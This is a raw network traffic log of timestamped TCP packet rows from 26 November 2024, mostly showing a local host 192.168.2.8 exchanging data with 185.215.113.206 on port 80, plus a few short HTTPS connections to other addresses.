Nov 26, 2024 08:03:46.225548029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.225786924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.225903034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.226419926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.226470947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.226495028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.226531029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.227364063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.227421999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.227433920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.227516890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.228429079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.228437901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.228486061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.229134083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.229224920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.229286909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.229356050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.230042934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.230107069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.230178118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.230247021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.230948925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.231019974 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.231132030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.231209040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.231789112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.232038021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.232059002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.232089043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.232857943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.232867002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.232908010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.233620882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.233680964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.233752012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.233831882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.234554052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.234638929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.234726906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.234772921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.235481977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.235551119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.235655069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.235727072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.236365080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.236637115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.236711025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.236799002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.237344980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.237353086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.238223076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.238234997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.238255978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.238305092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.239202976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.239214897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.239263058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.240017891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.240092039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.240108013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.240199089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.241055965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.241061926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.241117954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.241902113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.241914034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.242005110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.242773056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.242780924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.242824078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.243530989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.243597031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.243649960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.243695021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.244456053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.244524002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.244537115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.244577885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.245347977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.245450020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.245479107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.245716095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.246252060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.246329069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.246500015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.246543884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.247253895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.247263908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.247306108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.247349977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.248075962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.248140097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.248197079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.248374939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.249018908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.249064922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.249077082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.249139071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.250672102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.250679016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.250747919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.250808001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.250956059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.250993967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.251338959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.251684904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.251816988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.251888990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.252558947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.252650023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.252700090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.252819061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.253567934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.253582954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.253611088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.253634930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.254369974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.254440069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.254487038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.254575968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.255283117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.255343914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.255400896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.255544901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.256304979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.256319046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.256357908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.256383896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.257096052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.257173061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.257204056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.257256031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.258219004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.258227110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.258286953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.258894920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.258965969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.258980989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.259090900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.259864092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.260077000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.260154963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.260221004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.260658979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.260751009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.260852098 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.260925055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.261540890 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.261667013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.375191927 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.375437975 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.375449896 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.375776052 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.376085043 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.376136065 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.422879934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.422995090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.423002005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.423212051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.423355103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.423412085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.423454046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.424004078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.424058914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.424170971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.424334049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.424989939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.425034046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.425039053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.425081015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.425947905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.425971985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.426017046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.426687956 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.426740885 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.426764011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.426774025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.426826954 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.426856041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.426856041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.426914930 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.426949024 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.427090883 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427099943 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.427115917 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427145958 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427273989 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427284002 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.427346945 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427464962 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427484035 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.427598953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.427680016 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427745104 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.427751064 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.427767992 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.428004026 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.428016901 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.428056002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.428124905 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.428153992 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.428168058 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.428267956 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.428277016 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.428447008 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.428457022 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.428742886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.428782940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.428782940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.428828001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.429450989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.429567099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.429585934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.429629087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.430366039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.430444956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.430449009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.430540085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.431024075 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.431473970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.431482077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.431526899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.432184935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.432235956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.432262897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.432322025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.433036089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.433084965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.433165073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.433239937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.433959961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.434010029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.434070110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.434174061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.434978008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.434988976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.435034990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.435733080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.435798883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.435864925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.435960054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.436814070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.436821938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.436870098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.437535048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.437627077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.437658072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.437752008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.438430071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.438533068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.438555956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.438616037 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.439338923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.439384937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.439449072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.439506054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.440248013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.440334082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.440365076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.440407991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.441134930 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.441205025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.441234112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.441292048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.442042112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.442105055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.442132950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.442188025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.442922115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.442965984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.442991018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.443042040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.443869114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.443928003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.443990946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.444072008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.444797993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.444842100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.444896936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.444962025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.445650101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.445718050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.445735931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.445769072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.446556091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.446681023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.446733952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.446760893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.447475910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.447536945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.447571993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.447614908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.448358059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.448425055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.448451996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.448545933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.449246883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.449299097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.449348927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.449433088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.450130939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.450258970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.450264931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.450304985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.451039076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.451150894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.451176882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.451201916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.451955080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.452053070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.452054977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.452202082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.452847004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.452892065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.452972889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.453059912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.453752995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.453823090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.453850031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.453893900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.454662085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.454724073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.454757929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.454849005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.455574036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.455662966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.455714941 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.456475973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.456521034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.456564903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.456625938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.457365990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.457425117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.457463026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.457541943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.458276987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.458379030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.458410978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.458431005 CET	49747	80	192.168.2.8	185.215.113.206
